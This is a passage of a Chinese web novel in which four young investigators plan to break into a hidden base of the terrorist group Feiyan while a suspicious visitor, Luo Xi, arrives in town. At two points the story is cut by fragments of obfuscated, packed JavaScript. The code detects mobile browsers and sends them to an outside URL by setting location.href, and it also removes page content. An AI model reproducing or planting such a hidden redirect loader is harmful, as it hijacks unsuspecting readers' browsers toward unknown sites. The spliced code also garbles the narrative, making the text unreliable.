“扫描仪的射线范围很广,加上阿簇的快速入侵,能大致测算一个面积,只不过扫描细节需要多一点时间。”尹霄放大了一下地形图,让四人看得更清楚一些。 “她进去了多长时间?”林息不解。 “90秒。”尹霄随口应答。 该说不说,不愧是白簇,这么短时间就能入侵到三分之一。 “如果来的是真人,可不一定能全身而退了啊,”想到那两个身穿黑色兜帽卫衣的人,身手可是还不错,池泷心中估量。 “虽然警报响起五秒内,防线就能出动,但不是真人、数量也不多,看起来飞燕似乎对这个地方也没多重视。”她推测到。 “也可能是自信,毕竟一般人逃不过这些攻击。”目光移向白簇指甲上的划痕,林息如此说道。 “啊……那倒也确实。”注意到林息目光,池泷双手抱在胸前,表示了认同。 “要去吗?”银色呆毛一晃一晃,昭示着主人的跃跃欲试。 赤色脑袋一如既往地表示肯定。 反而是池泷再次抚上额头:“我们来这里的主要目的不是调查吴天语事件吗?而且不管这个基地是否重要,这次打草惊蛇,现在他们一定会加强戒备。” 说完,却发现那银红俩脑袋,不知何时挤在了一起,正在地形图前嘀嘀咕咕。 叹了口气,池泷转头,看向唯二的理智人。 碧蓝色眼眸平静回望,下一秒却说了一句:“你想去吗?” “啊?”没想到林息会问这句,池泷愣了一下。 难道是我表达的“你要不管管他们”的意思不够明显吗? “那就去。” 林息话音刚落,银色脑袋的主人就回头欢呼:“三比一,耶!” 池泷无语,不明白这么重要的事,在这仨人嘴里,却说得好像要出门春游一样。 “反正你也没说不去,不是吗?”伸出右手托住脸,林息歪着头,看向池泷,眼里有丝笑意。 虽然林息确实是自己喜欢的类型,但就这么被他可爱地说着说着,就戳破心事,还是比较尴尬的。 好吧,池泷伸手摸摸鼻头,她倒也想去,因为飞燕看起来似乎和军部有牵扯,她想去确定一下。 只是考虑得有些多,下意识还有点莫名地想要逃避。 总觉得跟飞燕扯上关系,就会有不好的事情发生。 但吴天语的事调查到这里,似乎又到了死胡同。 没有收集到有用的证据,洛熙的存在又适时地阻挡了下一步的进行,还让调查方向奇怪地渐行渐远。 千丝万缕的事件看起来毫不相干、又有些藕断丝连,说不定开辟新地图能发现新线索? 虽然池泷心里,并不希望事情是这样发展的。 “既然要去,就制定下计划。”池泷抬起头来。 另外三个各忙各的人一齐将目光聚焦了过来。 “这次必须重点做连撤出计划,谁也不准受伤。” 最终,她郑重地说下了这句话。 虽然地图不全,可对于四人来说,制定一个比较全面的计划,倒也不是什么难事。 唯独就是需要的时间长了点。 所以第二天被尿意憋醒时,池泷转头,差点被和自己一起正躺在地上的白簇吓一跳。 随即想起了昨晚四人热火朝天的讨论,揉揉额角,她轻手轻脚地起身,尽量不惊动正在床上呼呼大睡的另外两人。 解决生理问题时,池泷看了一眼光脑,6:30AM,生物钟最近提前了些。 解决完毕,由于没有备用的洗漱工具,她准备回房间。 却在开门时,一个黑影直挺挺往自己怀里撞过来。 下意识接住,肩膀传来轻轻绵软的触感。 “唔。”怀里的人似乎意识不清,金色头发不断在肩膀处摩擦,像一只烦躁的小狗。 然而池泷却觉得,这一声音在安静的房间中,显得格外嘹亮。 一时间不明所以、却心虚的池泷,只能伸手笼住不安分的脑袋,然后拍了拍。 “怎么了?”早起的声音有点沙哑,加上怕吵醒白簇尹霄,池泷只得把头低下,在林息耳边轻声询问,“哪里不舒服吗?” “嗯。”头好像因为被箍住,倒是老实了。 委屈地应答完后,林息伸手搂住池泷的腰,应该仍旧烦躁着,他用手指不住地揪着她本就皱皱巴巴的衣服:“抱我回去”。 首先,她是个正常的alpha。 其次,她第一次听见林息如此娇娇屈屈的声音, 最后,她真心觉得后腰很痒,甚至连心底都好像被浸染,痒得难受。 他们是亲密的队友! 队友此时有难! 自己出手相助这不是正常的事情吗? 而且自己也得救自己于水火啊! 不能让下作的欲望玷污了他们的队友情! 池泷这样说服了自己,正气凛然地表示:“我背你回去。” 没想到怀里的人好像并未听见,反而抬起头,碧蓝色眼睛里迷迷糊糊,嘴微嘟、眉微落。 第六感传来不妙的预感,果然下一步,怀中的人双手往池泷肩头一搭,整个人直接往上一跳! 再次感谢alpha天生的反应和力气,池泷无声地倒吸了口凉气,急忙撒开手,稳稳接住了这个固执又不按常理出牌的赖皮鬼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048196|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是解放出来的、毛茸茸的脑袋也顺理成章地趴到了她的脖颈旁边,温热的呼吸一顿一顿地喷洒。 愣了一下,随即池泷将脖子往旁边撇了撇,努力忽略腰身正被两条软软的长腿包裹着,怀里满满的崖柏气息。 这大清早的遭得是什么罪啊! 心中狂吼,可现实是,池泷做贼般地屏气凝息,以防怀里的人再次出现意料之外的事。 她先探头往卧室里瞅了瞅,瞧见其余两人仍旧睡得正香,心中不免一松。 接着快速、轻盈地托住林息,几步跨到门口,开门嗖地闪了出去。 出门的瞬间,池泷只觉得自己轻功已成,心底还涌起一股小小的成就感! 直到看见远处的服务生一脸震惊,脸上露出欲言又止的表情,脚步踌躇着,似乎在犹豫要不要过来。 啊…… 想起自己现在的造型,心中刚刚冒头的成就感直接转为了尴尬,池泷向服务生摇摇手,然后将怀中的人继续向上托了两下就匆忙离开。 好不容易摸出裤子里的房卡,将林息送回房间,又好不容易将人从自己身上扒下来,塞进被窝。 池泷起身准备离开,裤子却被一把拉住了。 人失去裤子,就会失去尊严。 于是回头企图掰手。 却正对上林息皱起的眉头,他眼睛紧闭,睡得很不安稳。 “怎么了?”轻声询问,林息没给她任何回复。 原地站了一会儿,池泷的手掌抬起落下好几次,最终还是放在他的额头上。 温度倒是正常。 就在这时,林息突然从被子里伸出一只手,以迅雷不及掩耳之势就往脸上抓。 “哎!”连忙拦下这只意图不明的手,池泷触碰到的手心,满是热度和薄汗。 看着依旧烦恼不堪,像一条小鱼一样不断翻腾的人,突然明白了过来。 房中安静如常,池泷蹲在床边,和闭目的林息脸对脸。 她右手放在林息脑后,手指插入脑后的发中。 细软的发丝从指间划过,如琳琳丝绸、汩汩水流,有时会有不听话的发尾刺挠一点指尖。 手掌皮肤传来不能忽视的暖意,催促着手指赶紧去找要去的地方。 解开伪装的一刹那,池泷明显感到林息长长舒了一口气,整个人安静平稳了下来。 亚麻色的留海在额前留下凌乱的影子,长睫遮住了那对藏有芳华的眼眸,俏鼻微耸,唇色仍旧和记忆中那样淡然。 每次看到林息沉静的睡颜,都会给池泷眼前一亮的感觉。 突然意识到自己翘起的嘴角,尽管没人能看到,但池泷还是将它压了下来。 她想把手轻轻从林息脑后抽回,却不想细微声响也引起了他的不满,侧身直接将小半张脸压在了池泷手心。 哎呀,好小好软。 嘴角再次不受控制地扬起,池泷想“反正也没人看得见,干脆就放一会儿吧。” 总归不能吵醒难受了一夜、好不容易才安稳入睡的人。 不知看了多久,窗外飘来一抹阳光,企图拨弄开那双合上的眼睛,池泷才回神。 手掌好像失去了知觉,她无声笑开,用手轻轻抬起那团棉花一样的面颊,慢慢、悄悄搁下。 最终全要放下时,卷长的睫毛不期然划过手心,她忍不住眼角微动。 真是可爱,黑发女人眯着眼睛、笑意盈盈。 突然,她反应过来。 林息觉得不舒服,第一时间竟然会想到自己吗? 被这样的想法击中,池泷心里没有几分震惊,反而忽然塌软得不行,一瞬间只想将眼前的人藏起,从头到脚地偷偷捏扁搓圆。 然而也只是想想,她并不会这么做。 轻轻拉上窗帘,轻轻离开房间,如果不是房内还有一抹不肯轻易散去的水汽,仿佛没有人来过。 42.第39章 这样的好心情也并没有持续多久,看到来自亚硫城政府的信息时,这一最近为数不多的开心时刻,直接烟消云散。 “经过调查,此次恐怖袭击已由飞燕认领。” 出乎意料地,池泷内心沉寂得像一片无风经过的湖面。 心中有过这样的猜测,除了飞燕,谁还会去为难一艘装满了平民的公共飞艇呢? 然而深暗的湖底,无人知道的暗流涌动翻腾。 飞燕为什么要去袭击一艘从设立起就一直沿着荒凉路线运行、异常破旧、总是装满社会边缘人员、哪怕受到攻击也可能不会引起社会关注的公共飞艇呢? 这样的念头在池泷脑中一滑而过。 此刻她紧紧盯着“飞燕”两个字,一时间脑中光怪陆离,闪过许多抓不住认不出的念头或者是记忆碎片。 定神去辨认时,却又发现自己脑袋空空、好似什么也没想。 收起光脑,池泷长长呼出一口气,眼前仍旧是几分钟前自己精心搭配、热气腾腾的早餐,此刻却不再觉得诱人,甚至闻起来,味道都不如刚才了。 于是她干脆起身,准备去外面走走,放空一下。 夏日天长,早七八点应该艳阳当空,一块乌云却挡在了前面。 好在云朵不大,上下左右都看得到闪光的边界,估计等会来一阵风就能吹走。 今天应该是个晴天。 但要不古星有句话叫“屋漏偏逢连夜雨”呢? 看到站在宾馆门口的李青,不知为什么,池泷心底一沉。 她勉强勾起嘴角,打了声招呼:“你怎么在这儿,什么时候来的,来了也不说声。” 正低着头不知道在想些什么的李青,被池泷的突然出声惊吓到。 她忽地抬头,先往两边看了两眼,随后才看到不远处的池泷。 愣了愣,她随即也勾起嘴角:“呃,没想到、没想到你这么早就起床了……毕竟、毕竟你们都挺忙的。” 看到对方脸上迅速挂起的笑容,本就心累的池泷一时间却只觉得更累了。 脑袋钝钝,她抬头望了望依旧乌云遮日的天空,胡思乱想,:“再接什么话呢?今天天气真好?” 于是,一时间两人尴尬地沉默了一瞬。 但这种尴尬并没有影响李青,或者说她的心思并没在这种尴尬上。 因为她眼中沉沉,有什么事正压在心头,嘴角抽搐,看起来又好像难以张口。 “我……”李青出声,池泷也看向她。 可随即池泷的光脑亮起,音乐声突然传来,两人再次陷入尴尬。 等了几秒,刚提起勇气的李青无奈轻呼了口气,伸手抬了抬,示意池泷先接通讯。 “我要到站了。”接起通讯的池泷还未说话,对面就先传来声音,熟悉的语气和印象中有点不同,听起来有些平静得低沉。 “您联系光叔了吗?”看了看宾馆的钟表,此刻才8点15AM。 这位到底是赶了多早的一班车啊!池泷内心震惊。 “没有,”仍旧理直气壮的语气,还带着一点不理解,不理解池泷为什么要说这么奇怪的话,“车站离你们住的地方近,我就直接找你了。” 这一阵儿,池泷不知道该说什么好,于是也什么都没说,只无声地叹了口气,问道:“什么时候到站?我去接你。” “20分钟后见。”说完,通讯就挂断了。 看着恢复初始界面的光脑,池泷不甚理解刚才的这一出。 唯一能确定的,就是现在就得出发去接人。 于是她看向目光游离的李青,虽然不知道李青来找自己的目的,但这种纠结的样子真要命且新奇。 毕竟她一直觉得,李青在人际交往方面,应该总是游刃有余的吧。 “我得去车站接个人,”池泷将光脑放好,“如果你的事挺复杂的话,我们可以约个时间再说。” 听见这话,李青愣了愣,随即又变回了熟悉的样子:“我载你过去吧,正好我飞艇就停在外面。” 下意识想拒绝这个提议,了池泷又想起,反正这件事李青也知道,而且去的路上得十多分钟,说不定她纠结的那件事也能聊一下。 就点了点头,向她表示了感谢。 “没事,别客气,”看着池泷接受了提议,李青露出了真心的笑容。 她带着池泷去找飞艇,顺嘴问了句,“是去接谁呢?” “呃,”下意识池泷又觉得不该讲,但沉默了几秒后,还是告诉了她,“洛熙。” “啊?”李青身体顿了一下,脸上露出惊愕的表情,“吴叔的那个丈……前夫?” 看见池泷点了点头,李青也没再说话,只是看起来在想些什么,眼中的沉重也少了几分。 两人坐上飞艇,路上池泷再次提问:“你找我有什么事吗?” “没有了,”说完又意识到不对,没事的话自己也不至于那么早去宾馆。 于是李青解释道,“一开始确实是有的,本来想让你告诉我洛叔的地址。” “洛熙?”池泷感到奇怪,“你找他做什么?” “那天你来之前,叔叔只是和我讲了洛叔的存在,你来之后我才发现洛叔对吴叔来说那么重要。” 李青目视前方,手稳稳地抓住操作盘:“我就想领着小溪去看看他,毕竟吴叔失踪前对小溪很是照顾,但是,他们不是约定谁也不要去打扰洛叔嘛。” “于是我也没敢跟叔叔说,直接来找你,走到门口又觉得这么做是不是不好、或者会因此让你为难。”说完,她不好意思地笑了下。 想起李青踌躇的样子,池泷觉得她应该没撒谎。 上下打量了李青一眼,她看起来似乎和往日没什么分别。 “结果没想到他还来了。”撇撇嘴,池泷表示,这种事真的是赶得早不如赶得巧。 “洛叔来了以后住哪儿呢,”李青好像在自言自语,“我住的地方附近可以租一间房子,住厂区也行……” “这个不用咱操心,”池泷闭上眼睛,靠在椅背上闭目养神,“他一定有自己的安排,别人再怎么说,也不好使的。” 感受到李青讶异的眼神,池泷没在意,继续闭眼思考洛熙此行的目的,但直到抵达车站,也没想出个所以然。 突如其来、不知目的的拜访,总让人觉得心中不安啊。 到了公共飞艇的下车站,两人一眼就看到了洛熙。 身着白衣黑裤,鞋尖那里不知道在哪里蹭了一块灰,他乱糟糟的头发没有被很好地梳理,这一簇、那一簇地在头上撅着。 但这丝毫不影响他的状态,此刻正双手抱胸,跟身边的人聊得热火朝天。 尽管打扮得朴素还有几分邋遢,谈笑间眉眼和嘴角的细纹也若隐若现,但都被洛熙张扬明媚的笑容掩了过去。 身边的人笑盈盈围着他,路过的人也会好奇地瞄上一眼。 他站在哪里,哪里就好像是这个空间的中心,出挑地吸引了任何人的关注。 大多数的人心里都不免感叹一句:“这样的人竟然是个omega,想必年轻时候也是个漂亮的omega。” “这是……洛叔?”李青面露惊讶,看着不远处的景象,喃喃了一句。 “对啊,”虽然没介绍,倒也没认错。 果然这人想显眼的话,还是很显眼的。 停在原地,池泷没再往前走,手臂举高,大力地摆了摆。 “不用过去吗?”看了看池泷,又望了洛熙一眼,李青不确定,洛熙的目光是否能穿越身边的人群,看到这里。 “放心吧,”池泷将手放下,“他压根就没全心全意地在聊天。” 还没等李青明白这话是什么意思,不远处,洛熙果然转头,一下子就看到了这里。 他也微笑着摆摆手,跟身边的人说了两句,然后才缓缓走向这边。 相对于明明长久未出世、却仿佛走在熟悉地界的洛熙,看着洛熙走来的李青反而更紧张了些。 她左手食指和拇指忍不住捏紧了裤缝,脸上的表情也不再像往常一般自然。 池泷淡淡瞥了她一眼。 洛熙很快走近,他笑着,看起来慈祥和善。 站定后,他语气温和地说了句:“真是麻烦你们两个,特意来接我。” “您一路坐车,想必也十分疲惫,”李青赶紧接上话,她左右瞧了瞧,问道,“您没带什么行李吗?” “就是来这边看看,没想多住,人到了就行,”上下打量了一下,洛熙不确定地问,“你是……小青?” “是的是的,”没想到洛熙竟然认识自己,李青惊讶过后,随即脸上浮起几分喜色,“您还知道我……” “嗯,从前听你叔叔和天语都提到过。”洛熙看着眼前的年轻人,表情里恰到好处地带着几分回忆、惊喜和淡淡的失落,“多谢你一直照顾天语。” “没,这都是我作为小辈应该做的。没想到还是……”李青稍稍低头,看起来失落了几分。 “我说,”池泷举起双手,打断两人的寒暄,“咱要不先出去呢,这里也不是说话的好地方。” 不远处,刚刚和洛熙聊天的人们,正抻着脖子好奇这边的情况。 见此,洛熙又冲他们笑着摆摆手,这才随着两人前往飞艇。 “洛叔,你来这里订好住的地方了吗,我……”李青一边启动飞艇,一边说话。 只不过还没说完就被打断了。 “我住宾馆,”洛熙说了地址,恰好是池泷四人现在住的地方。 池泷抬眼看了看洛熙,见对方正一脸真挚地看着李青,她也没再说什么。 “是么,”闻言,李青手指顿了顿,设定好目的地,将飞艇调至自动驾驶,就走进了客舱。 她先给三人各自倒了杯水,又询问洛熙是否需要别的。 “您在亚硫这边有什么问题尽管找我,我随时恭候。”说这话的时候,李青表情认真,让人无法怀疑这话仅仅是一句客套。 “您要是想去哪里,我也可以接送。” “我一个老人,能有什么事呢,”端起杯子抿了一口,洛熙眼皮半垂,望着不知名的地方,缓缓说道。 “发生了这样的事,我的心情也很复杂。突然间觉得,时间过去那样久了,大家都老了,如果再不见见,下次听到的,说不定就是令人心痛的消息了。” 洛熙看起来温柔极了,手指抚着杯把儿,看起来得体又优雅。 “所以这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060330|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就是想见见故人,顺带听听天语的消息。”说完这话,洛熙端起杯子又抿了一口,“你也不必特地为我空出时间,免得耽误工作。” “不耽误什么,我和叔叔都请好假了,叔叔也同意的。”李青赶忙说道。 “哦?”洛熙抬眼,面上有些感动和抱歉,“那真是谢谢你了,你真是个好孩子。”他温柔地夸赞道。 突然间他好像又想起了什么,关切地询问:“听说你还有个孩子,是个omega?” “是的,”一提起小溪,李青面上就忍不住柔和了几分,“孩子身体不好,因此常常呆在家里。” “说起来,自从上次听池小姐说了您的事,就一直想带孩子去看看您,”李青手掌捧住杯子,手指握了握杯身,“今天我本意也是想找池小姐询问您的住址,没想到您来了。” “哎呀,哪还用你们跑一趟,那地方很远的。”捂嘴轻笑,洛熙一脸欣慰。 似乎小辈的孝心让他瞬间开心不已,开始拉着李青,讲一些家长里短。 而一直坐在旁边的池泷,看了这个场景一会儿,也觉得无聊,干脆闭上眼睛继续休息。 多亏了这一来一回的功夫,一直闭目养神的池泷再次回到宾馆时,已经觉得精神抖擞了不少。 她站在旁边,看着李青陪洛熙办理了入住,还想送他去房间。 洛熙笑着表示不忙回房,要先和池泷叙叙旧。 李青点点头表示理解,细心嘱咐了几句“好好休息”,又向池泷道别后才离开。 让池泷不禁再次感叹李青的热情周到。 “所以您到底来干什么的?”电梯间中,池泷看着不断变化的楼层数字,懒洋洋问道。 “要不说你和小青真是差远了,总是听不懂人说话,不都说了想来看看以前的老朋友,”洛熙半靠着墙面,随意敷衍。 哼,信你才有鬼。 看着电梯在熟悉的楼层停下,两人一同走下来。 洛熙住的地方,恰好和池泷四人在同一层,只不过在不同的两端。 “要去他住的地方看看吗?”分开之际,池泷还是没忍住问了一句,“我可以给你钥匙。” 背对着她的洛熙,身形微微一顿,先是嗤笑了一声“什么年代还用钥匙”,接着继续语气随意地说:“不去,人都不在了,剩下的东西又有什么意义。” 说罢就毫不犹豫地走向了房间。 池泷在原地站了一会儿,才转身走到尹霄房间门口,敲了敲门。 开门的人是白簇,池泷看了她一眼,摸摸鼻头。 白簇皱眉,在池泷进门后,她随意地朝四周看了几眼,便也关上了门。 一进屋子,坐在正对门单人沙发上、正在摆弄光脑的林息就抬起头来,看见池泷后,问了一句:“大早上的去哪儿了?” “接到洛熙电话,去车站接人去了,”闻言,靠着床头看投息地图的尹霄也好奇地望过来。 池泷伸出右手大拇指,朝着洛熙方向比划了几下,继续说道:“走廊最靠头的左边房间。” 这时,白簇也从身后走了过来,拿起一只小小的圆形机器,在池泷周边绕了一圈。 最后说了一句“无异常。” 池泷拍拍她的肩膀,随即放松地挑了最近的沙发坐下,呼了一口气后说:“说是来探望好友的,但这理由还没有‘我来看看天语住的地方’站得住脚,但我问了,他又不去,” 看着天花板,池泷表情耐人寻味:“而且我早晨正好遇到了李青,她正打算要去找洛熙。” “带着小溪?”林息眉头一挑,“说要准备去看望长辈?” “没错,她还说怕这样做不好,就直接来找我了,可又怕我为难什么的,”池泷姿势不变,表示了肯定,“接到洛熙时,她很紧张也很热情,可我总觉得挺奇怪。” “她没跟李光提前商议吗?”林息右手托腮,伸出的食指在脸上点了点。 “你说得对,”池泷坐起身,右手握拳在左手掌上打了一下,“我就觉得哪里奇怪,这事儿怎么论,也不该先来找我,而且她那么有礼数的人,怎么非要跟吴天语的意愿背道而驰,去找洛熙呢?” 随即她指着自己,笑嘻嘻说:“我都不知道我有这么大魅力。” 尹霄毫不留情地笑了出来,白簇眉头轻微一跳。 唯独林息一直在脸上跳动的食指顿了一下。 “那个洛熙是带着怀表来的吗?”笑完后,尹霄提问了一句。 “连行李都没拿,空着手来的,身上能藏东西的地方不多,感觉没拿。”回忆了一下刚才的景象,池泷回复,“不过这事儿李青应该也看到了,估计很快什么用品都能给他补上。” “他也没问这件事的进展、也没问飞燕的事,”再次叹了一口气,池泷无奈说道,“这种感觉就像是‘空城计’,明明看到破绽满满,却不敢轻举妄动。” 不然一个“与世隔绝”的人,哪能对李青了解得那样清楚呢? 看着白簇好奇的目光,池泷又补了一句:“古星,《三国演义》。” “反正不妨碍我们行动就行了,”尹霄耸耸肩,倒没觉得是多大的事儿,“摸不清楚,就走一步看一步呗。” 也是,多想无益。 43.第40章 四人重聚桌边,将昨晚商量的计划,又重新演绎了一遍,确保尽量做到万无一失。 “这次的目标,主要是探寻这个基地有多大,”池泷指了指投影上的暗色模块,“剩下的具体信息,比如这座基地的具体功能、兵力布局什么的,是连带任务,非首要。” 食指曲起,在桌面上敲了三下。 “阿簇会潜行、行动速度快、奔速也够,由她冲锋,带着扫描仪尽快建图。”尹霄在光脑上指指点点,一大串红白黄蓝的图像图形出现。 白簇点头。 “会长负责欺骗或破坏报警器、守卫机器人等机械设备,查看是否存在联网设备,必要时候插上光卡。”他手指了指桌上一个不大的储存卡。 “里面有翻墙芯片,我蹲守地面,可以尝试通过这个联动进入基地网络。” 林息比了一个“可以”的手势。 “至于池姐,”尹霄向池泷比了一个大拇指,“自己看着办,打好辅助就行。” “我的主要任务,是帮咱们一起保命。”揉了揉额角,池泷实在头疼。 这群都没毕业的大学生,越过星警,做这样胆大包天的事。 虽然她也并不排斥直接对上这群□□就是了。 “上次去的通道已经引起敌人注意了,他们肯定会开始提高每一入口的守卫,所以我们这次从这里进去。”指了指投影上一个不起眼的地方,尹霄笑得像一只藏了能吃一冬干果的仓鼠。 “在地下的建筑,必定留有通风口,可以从这里进去。”池泷提议。 “大多数人都是这么觉得的,”尹霄昂起头颅,“然而我们要去的地方,是排污口!” 他笑得胸有成竹:“当然,只是伪装成小小排污口的某一后门。” “今早,我俩带着会长又去确认了一遍,”说到这,尹霄看了池泷一眼,脸上的骄傲明目张胆。 “会长非常震惊,我俩竟然能发现,这么一条珍贵又隐蔽的通道!” 对此,池泷表示,十分怀疑“非常震惊”的真实性。 她看向林息,林息倒是没什么表示,只是淡淡说道:“那条通道好像废弃很久了,生命探测仪显示,里面没有任何生物,尽头处被一道门挡着。 “我看了一眼,很好破解的老密码锁,锁头也被淘汰很久了。”林息的这句话,池泷百分百相信。 “你敢信吗?池姐!”尹霄搂住白簇肩膀,一副与有荣焉的样子。 “多亏了阿簇因为当时被迫离开基地生气,我俩走了很远后,她怒踹某树一脚……” 看着尹霄滔滔不绝的样子,虽然这个故事池泷昨晚就听过了,但她还是摆出了“哇,你们可太能了”的表情以示鼓励。 最后,尹霄拿出四个造型可爱的银白小球。 “白家的SR05-BM?”林息一眼认出了这个东西。 他看了看白簇,早就听说白家很重视这个“弃子”,却没想到,这种造价昂贵、最新研制、王室都没几个的东西,白家竟然能给白簇掏了4个。 “会长你又知道,”尹霄遗憾地噘噘嘴,“如果遇到难以掌控的危险,打破它,不论对面是人类还是机器,都会受到5秒的干扰,俗称定身,够你们跑出来了。” 将球分发给每一个人,池泷拿起小球端详,这个只占了她手心一丁点儿的东西,竟然能有这么大的威力? 要知道5秒对于一个alpha来说,能做的可太多了。 一时间池泷都有点舍不得用了。 “没事儿,用完了让阿簇再跟她爹要,她舍得的。” 尹霄的语气就像“今天晚饭买棵大白菜炖豆腐”一样稀松平常。 “多些保命手段总是没错的。”说着,林息也拿出三张薄如蝉翼的东西。 它们很软,阳光穿过去,能看到它偏肉粉的颜色。 “这不会是传说中,军部专供、用于潜伏伪装、采用月轨5线多肉星发现的珍稀物种——野生类豚兽的皮制成、可随意让使用者变换大小形态的‘千人’吧!” 池泷发誓,她真的看到尹霄说这话时,眼里透出的星星了。 同时,白簇拍拍尹霄的背,给他顺了顺气。 “没有专供、人工养殖、大小不可、是。”林息将面具分发。 接过时,尹霄还喃喃自语:“这种生物现在都能养殖了?能买吗?想要。” “不能买。”好心回答了这个问题。 同时林息也出声,掐断了这一危险的想法:“类豚兽被发现时仅有四只,两公两母,由军部和王室各持一种性别,它们的繁衍利用都是有定数的。” 听到这话,尹霄用同情的眼神看向池泷,池泷一头雾水。 但很快,池泷便新奇地观察收到的面具。 她贴在脸上,明明是死物,却有种微微温热的触感。 打开光脑的摄像头,池泷看见自己变成了一个混眸塌鼻、胡子拉碴的人。 而且她吃惊地发现,自己竟然没有性别。 “类豚兽的皮,可以将信息素的存在感降到最低。并不是被藏起来了,而是它本身散发的某种信息素,将人类的信息素中和了。”林息解释道。 随即他看向旁边捧着光脑、不断变换造型的尹霄,眼底闪过一丝不知名的情绪。 “那这样岂不是省了很多事?”池泷摸摸自己的胡子,连手感也如此逼真。 “贵,不抗造,”白簇此刻变成了一个文质彬彬的高知分子,如果鼻梁上架一副眼镜,都可以上学术周刊封面了。 “副作用,大。”这位“教授”果真伸手扶了扶不存在的眼镜,补充道。 “戴的时间过长,容易造成信息素紊乱,那就会导致过大于功了。”林息继续补充。 “所以非必要情况下,仍旧采用我这样的伪装。”指了指自己,林息接着说道,“这些面具大家可以自留,我每年都会收到。” 话是这么说,可明眼人都能看出来,这两样东西有多珍贵。 唉,这不听话的手! 忽略尹霄再次投来的同情眼神,池泷喜笑颜开地将小球和面具,都小心翼翼地收了起来。 还是要还的,能用用就很开心了。 为了下午的行动,四人只简单喝了几条营养液。 虽然月黑风高更适合“杀人越货”,但尹霄一定要反常识而行之,光明正大地潜入敌营。 当然,实际上,尹霄他们早就调查过,那条通道很神奇地没有外围的探测装置,确实能光明正大地进门。 换言之,就是并未对外围进行监控,可能是对那条极其隐蔽的路口,有着极大不被发现的信心。 趁着林息和白簇回房去收拾装备的功夫,尹霄偷摸来到池泷身边。 他眼睛紧盯光脑,嘴却忙得厉害,小声道:“你还笑呢,没听人家说‘每年都会收到’嘛,你就只知道笑笑笑。” “?” 池泷环顾了一下四周,明明房间里就剩下自己和尹霄了,他这副“此地无银三百两”的表现是给谁看呢? “还没反应过来呐,我的姐。林家面子再大,军部和王室也不会送上好几张,都能让会长攒出来,随便送人。” 同情变成了恨铁不成钢。 被尹霄用眼神骂了一顿的池泷仍旧不明所以。 “确实,这东西听着来历很珍贵,得小心点儿用着。”点点头,池泷小心地摸摸面具,对尹霄的话表示了肯定。 “我是这个意思吗?”尹霄恨不得用手指在她脑门上戳个洞,看看里面到底装的什么。 “我的意思是,这些面具,肯定是有别的人送给我们会长的,比如……” 话还没说完,林息就敲门走了进来。 看到来人,尹霄一下子噤声,直接变为一副正在大忙特忙的样子。 这下池泷明白了,感情从刚才起的装相,是为了更自然地应对意外。 然而林息仿佛并未察觉到什么问题,他神情自然地和尹霄讨论下午的行动。 池泷则站起身,走到林息身后,朝尹霄做了一个噤声的手势,并指了指林息。 撇撇嘴,尹霄明白她的意思,就是“不要在队友身后说小话”。 天知道,自己的本意只是想提醒这位不开窍的大姐,这些面具很可能是三皇子,也就是她的潜在情敌,送的啊。 过了一会儿,白簇也汇合了过来。 四人这次委托,带的攻击性武器很少,只有几把小型激光手枪。 但白簇表示:基地里的守卫机器人武器不错,可以借用一下。 剩余都是一些辅助装置,被装在压缩包里随身携带。 池泷想了又想,决定将乔城的压缩包拆下,放在房中。 她给压缩包开启了隐身设置,这还是池泷前两天捏着玩,发现的新功能。 想了想,她还是在压缩包上设置了一下,万一自己没法及时回来,里面的东西,需要有人拿走。 他们分批出门,在不同的地方换上伪装后,最终在尹霄说的那棵树前集合。 这里是公园最西南的角落,因为没有设置游客通道,所以人烟稀少。 望着眼前高耸粗壮的松木,池泷疑惑:“这棵树不是被踹断了吗?”。 说完,她也踹了两脚,厚重树干传回的波动,让脚下传来不可忽视的震感。 也不知道当时白簇得生多大气,才能给这种巨物踹倒。 “这就是问题所在,”变成恶鬼脸的尹霄走到树后,戴着手套的手在树干处快速点了几下。 接着他转身向树后的假山走去:“这棵树确实被踹断了,或者说,这种伪装材质被阿簇弄坏了。” 在石头上又轻点了几下,一扇一人高的方形铁门出现。 门上黄绿斑驳,陈旧的密码锁被油灰覆盖,白色的电子数字甚至无法全部显现。 “这棵树直接朝我们砸下来,声音也大得很。阿簇伸手去接,却发现手感奇特。”尹霄让开身,示意林息上前。 “还有,虽然看见也听见了,可奇怪的是,树倒了,过了好一会,也没看见鸟虫惊起,更没有人来查看。估计这些图像和声音,只是吓唬人用的。”耸耸肩,尹霄把这事儿又说了一遍。 “估计设置这些的人也没想过,会有人到这么一个‘禁止通行’的犄角旮旯里,踹一棵如此高大的树木。”池泷觉得好笑。 “更没想过,还有人会竟然不跑,反而想不开去扶树。估计当时技术不成熟、后续估计也没人维护,所以这样的破绽就被留了下来。”说着,池泷将手套递给林息。 瞬间还有些心疼那位古早的设置者们,可惜他们遇到的是老白。 林息只用了几秒便破解了密码锁,门缓缓打开。 池泷先往里面扔了一个探测仪,等了几秒,机器并未传回警报后,四人才走入通道。 将包中的自亮灯给留在门口的尹霄,三人又分别从压缩包中拿出荧光器。 头脸再套上一层过滤面具遮挡,白簇打头,林息居中,池泷断后,借着微弱的光亮继续前行。 那扇门尚未合上,但四人进来的地方此刻又被遮挡了起来,通道里变得更黑了些。 看着这熟悉的恢复场景,池泷莫名感到不妙。 